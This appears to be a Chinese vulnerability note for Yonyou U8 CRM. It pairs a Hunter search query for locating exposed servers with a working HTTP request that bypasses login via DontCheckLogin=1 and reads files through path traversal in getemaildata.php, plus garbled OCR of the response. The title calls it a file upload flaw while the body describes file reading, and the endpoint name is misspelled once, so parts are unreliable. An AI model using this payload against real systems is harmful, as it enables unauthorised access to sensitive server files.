Y15-4用友-U8+CRM-文件上传

漏洞描述:

用友U8-CRM是企业利用信息技术,是一项商业策略,它通过依据市场细分组织企业资源、培养以客户为中心的经营行为、执行以客户为中心的业务流程等手段 来优化企业的客户满意度和获利能力。用友 U8 CRM客户关系管理系统 geternaildata.php 文件任意文件读取漏洞,攻击者通过漏洞可以获取敏感信息。

网站图片:



In ≡

网络测绘:

Hunter 语法:

• hunterapp.name="用友 CRM"

漏洞复现:

payload:

```
GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=p8t1stkmi6nd9jjda4vsenjob6
Upgrade-Insecure-Requests: 1
效果图:
                                                                                                                            III W
  美化.
            Raw
                                                                                                                             美化.
                                                                                                                                         Raw
                                                                                                                                                    Hex
                                                                                                                                                                页面渲染
GET /ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt
HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/116.0
                                                                                                                            1 HTTP/1.1 200 OK
2 Date: Fri, 01 Sep 2023 02:55:03 GMT
3 Server: Apache/2.4.41 (Win32) PHP/5.4.38
4 X-Powered-By: PHP/5.4.38
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
                                                                                                                          6 Cache-Lontrot no pre-check=0
7 Pragma: no-cache
8 Content-Length: 10
9 Connection: close
10 Content-Type: text/html; charset=utf-8
tex/ntm;,application/xmt,q=o.y,image,age/webp.*/*iq=0.8

5 Accept-Language:
zh-CN,zh=US;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Connection: close
8 Cookie: PHPSESSID=p8t1stkmi6nd9jjda4vsenjob6
9 Upgrade-Insecure-Requests: 1
```

7.2 patch2